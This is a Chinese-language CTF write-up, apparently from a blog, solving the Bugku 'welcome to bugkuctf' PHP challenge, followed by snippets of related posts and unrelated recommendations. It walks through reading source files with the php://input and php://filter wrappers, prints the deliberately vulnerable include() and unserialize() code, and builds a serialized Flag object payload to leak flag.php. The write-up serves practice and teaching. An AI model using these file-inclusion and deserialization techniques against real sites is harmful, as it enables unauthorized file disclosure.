今天终于拾起来ctf的比赛了,开始了练习之旅。今天写一道bugku上的题目wp,属于利用php源码泄漏的题目吧,我觉得不是很简单。。。所以把自己的思路放上来。

题目源头:http://120.24.86.145:8006/test1/

题目打开后得到如下的信息,查看源码后发现

很显然想让我们利用源码去得到flag。这里我们稍微解释下这个源码的意思。

开始有三个变量:user,file,pass,但是我们发现这里的pass也就是password没有什么用,所以我们重点关注前两个变量。看下面的条件

(1)这里isset的意思是查看变量是否存在,即user不能为空。

(2)

file_get_contents是把整个文件读入字符串中,这里也就是把user这个变量(user显然要是一个文件)的内容以字符串的方式读出来并且要和“welcome to the bugkuctf”完全相等(类型,内容)。

(3)后面提示了我们所以我们要在满足条件之后读取file=hint.php。

知道了以上的三个条件后我们就可以做第一步了,就是如何满足他们的条件!?

这里就要使用php伪协议了。这道题目为了解决第二个条件,要用到    “php://input”协议。大致的意思是让  txt=php://input ,之后在post过去一个字符串

(当传进去的参数作为文件名变量去打开文件时,可以将参数php://传进,同时post方式传进去值作为文件内容,供php代码执行时当做文件内容读取)类似(PS:此时payload还不完整还不能执行哈)

简单来说就是将指定字符串作为文件传给txt,然后再将user的内容读出来。此时我们就满足了

之后我们得到了

此时根据提示我们可以把包含的文件读出来了,这里要用到php的第二个伪协议:php://filter

这里放上一个写的详细的blog(关于filter的)http://blog.csdn.net/wy_97/article/details/77431111

即  txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php(简单来说就是利用伪协议读取所包含文件的base64值)得到

解码得到:

  1. #hint.php
  2. <?php
  3. class Flag{//flag.php
  4. public $file;
  5. public function __tostring(){
  6. if(isset($this->file)){
  7. echo file_get_contents($this->file);
  8. echo "<br>";
  9. return ("good");
  10. }
  11. }
  12. }
  13. ?>

之后可以继续利用伪协议读取一下index.php源码

  1. #index.php
  2. <?php
  3. $txt = $_GET["txt"];
  4. $file = $_GET["file"];
  5. $password = $_GET["password"];
  6. if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
  7. echo "hello friend!<br>";
  8. if(preg_match("/flag/",$file)){
  9. echo "不能现在就给你flag哦";
  10. exit();
  11. }else{
  12. include($file);
  13. $password = unserialize($password);
  14. echo $password;
  15. }
  16. }else{
  17. echo "you are not the number of bugku ! ";
  18. }
  19. ?>
  20. <!--
  21. $user = $_GET["txt"];
  22. $file = $_GET["file"];
  23. $pass = $_GET["password"];
  24. if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
  25. echo "hello admin!<br>";
  26. include($file); //hint.php
  27. }else{
  28. echo "you are not admin ! ";
  29. }
  30. -->

在index里我们能读出来:

(1)在hint.php中我们看到了,所以我们把index.php改成flag.php看看会有什么结果,发现

这个乱码在index.php中我们发现是

所以我们不能直接读flag.php。在index中我们看到这个意思是file中如果包含‘flag’,那么就会给你退出。所以我们要想其他办法读flag.php

(2)我们载去找有用的信息,发现这个else写到如果我的file不包含‘flag’,那么我就会把那个文件包含进来,之后将password反序列化一下。并输出password的结果。而我们根据上面的hint.php发现,

  1. #hint.php
  2. <?php
  3. class Flag{//flag.php
  4. public $file;
  5. public function __tostring(){
  6. if(isset($this->file)){
  7. echo file_get_contents($this->file);
  8. echo "<br>";
  9. return ("good");
  10. }
  11. }
  12. }
  13. ?>

我们发现当Flag方法当做字符串执行时,会自动执行 __tostring 方法,方法中写了如果file文件存在,那么就输出file文件中的内容。

这不正是我们要解决的输出flag.php内容的情况吗???所以我们要构造一个Flag类型的参数,并把这个参数传给password然后get进去。并且这个file的值要是hint.php(因为要利用hint.php中的函数),即:————根据php序列化的结果

  1. <?php
  2. class Flag{
  3. public $file;
  4. }
  5. $a = new Flag();
  6. $a->file = "flag.php";
  7. $a = serialize($a);
  8. print_r($a);
  9. ?>

得到:  O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}  传入

得到

至此这道题目结束。不过应该会有同学问为何payload中有index.php,,我觉得index.php是默认的页面,不然你没有办法传给php页面参数,所以应该属于一种套路吧,记住就好。。。。

作为菜鸡,还要继续努力啊:)

记bugku的——“welcome to bugkuctf”的更多相关文章

  1. bugku welcome to bugkuctf

    题目地址:http://123.206.87.240:8006/test1/ 这道题主要用到了俩个知识点:php伪协议和序列化 点进题目看到:you are not the number of bug ...

  2. Bugku-CTF之welcome to bugkuctf(php://filter和php://input的妙用)

    Day24 welcome to bugkuctf http://123.206.87.240:8006/test1/ 本题要点:代码审计,PHP://filter ,  php://input ,  ...

  3. BugkuCTF 域名解析

    前言 写了这么久的web题,算是把它基础部分都刷完了一遍,以下的几天将持续更新BugkuCTF WEB部分的题解,为了不影响阅读,所以每道题的题解都以单独一篇文章的形式发表,感谢大家一直以来的支持和理 ...

  4. http://www.bugku.com:Bugku——PHP伪协议+魔幻函数+序列化的综合应用(http://120.24.86.145:8006/test1/)

      这一道题目,幸好俺有基础知识护体,不然还真干不掉.     首先,登录看题目,取消隐藏代码的注释.可知可输入三个参数txt.file和password并进行逻辑判断:应该让txt==‘welcom ...

  5. bugku web所有writeup_超详细讲解_持续更新

    首先说一下我的主用工具,在windows下,主要是用这些,用到其他特定的工具会在题里说. 0.浏览器:火狐,配合Max hackbar插件 (这个是免费的) 1.抓包改包:burpsuite.http ...

  6. Bugku web(1—35)

    1.web2 打开网页: 哈哈,其实按下F12你就会发现flag. 2.计算器 打开网页,只是让你输入计算结果,但是发现只能输入一个数字,这时按下F12,修改一下参数,使之可以输入多个数字,修改后输入 ...

  7. BugkuCTF——wp(旧版)

    title: BugkuCTF--wp(旧版) date: 2020-4-25 tags: CTF,比赛 categories: CTF 比赛 Web篇 0x001-web2 解题思路: 1.直接按F ...

  8. Spark踩坑记——Spark Streaming+Kafka

    [TOC] 前言 在WeTest舆情项目中,需要对每天千万级的游戏评论信息进行词频统计,在生产者一端,我们将数据按照每天的拉取时间存入了Kafka当中,而在消费者一端,我们利用了spark strea ...

  9. Spark踩坑记——数据库(Hbase+Mysql)

    [TOC] 前言 在使用Spark Streaming的过程中对于计算产生结果的进行持久化时,我们往往需要操作数据库,去统计或者改变一些值.最近一个实时消费者处理任务,在使用spark streami ...

随机推荐

  1. Xcode waring: no rule to process file *** 警告提示

    在编译程序的时候,Xcode给出了警告:warning: no rule to process file *** 类似的警告, 解决方法: 在[build Phases] -> [Compile ...

  2. 怎么删除"自豪地采用WordPress"

    wordpress刚刚安装完毕,打开默认的主页,会发现底部有这样的一行文字:“自豪地采用WordPress”.当然了,我们做一个网站,不一定需要这些文字,我们可以删除或者修改这些文字.今天,小编就来教 ...

  3. 【小记事】解除端口占用(Windows)

    开发中有时会因为端口占用而导致起项目时报错(如下图),这时候只要解除端口占用即可. 解除端口占用: 1.打开cmd(win+r),查看端口占用情况 netstat -ano | findstr 端口号 ...

  4. Building clang on RedHat

    http://btorpey.github.io/blog/2015/01/02/building-clang/ clang is a great compiler, with a boatload ...

  5. eclipse中安装maven插件

    原文:http://blog.csdn.net/wode_dream/article/details/38052639 当自己越来越多的接触到开源项目时,发现大多数的开源项目都是用maven来够建的. ...

  6. 【CODEFORCES】 C. Dreamoon and Strings

    C. Dreamoon and Strings time limit per test 1 second memory limit per test 256 megabytes input stand ...

  7. [LeetCode][Java] Remove Duplicates from Sorted List II

    题意: Given a sorted linked list, delete all nodes that have duplicate numbers, leaving only distinct  ...

  8. Ubuntu14.04 64bit下Caffe + CUDA 6.5安装详细步骤

    不多说,直接上干货! 笔者花了很长时间才装完,主要是cuda安装和opencv安装比较费劲,cuda找不到32位的安装包只好重装64位的ubuntu系统,opencv 也是尝试了很久才解决,这里建议用 ...

  9. udhcp详解源码(序)

    最近负责接入模块,包括dhcp.ipoe和pppoe等等.所以需要对dhcp和ppp这几个app的源代码进行一些分析.网上有比较好的文章,参考并补充自己的分析. 这篇udhcp详解是基于busybox ...

  10. 百度接口通过ip获取用户所在地

    /** * 百度接口      * 通过用户ip获取用户所在地      * @param userIp      * @return      */ public static String get ...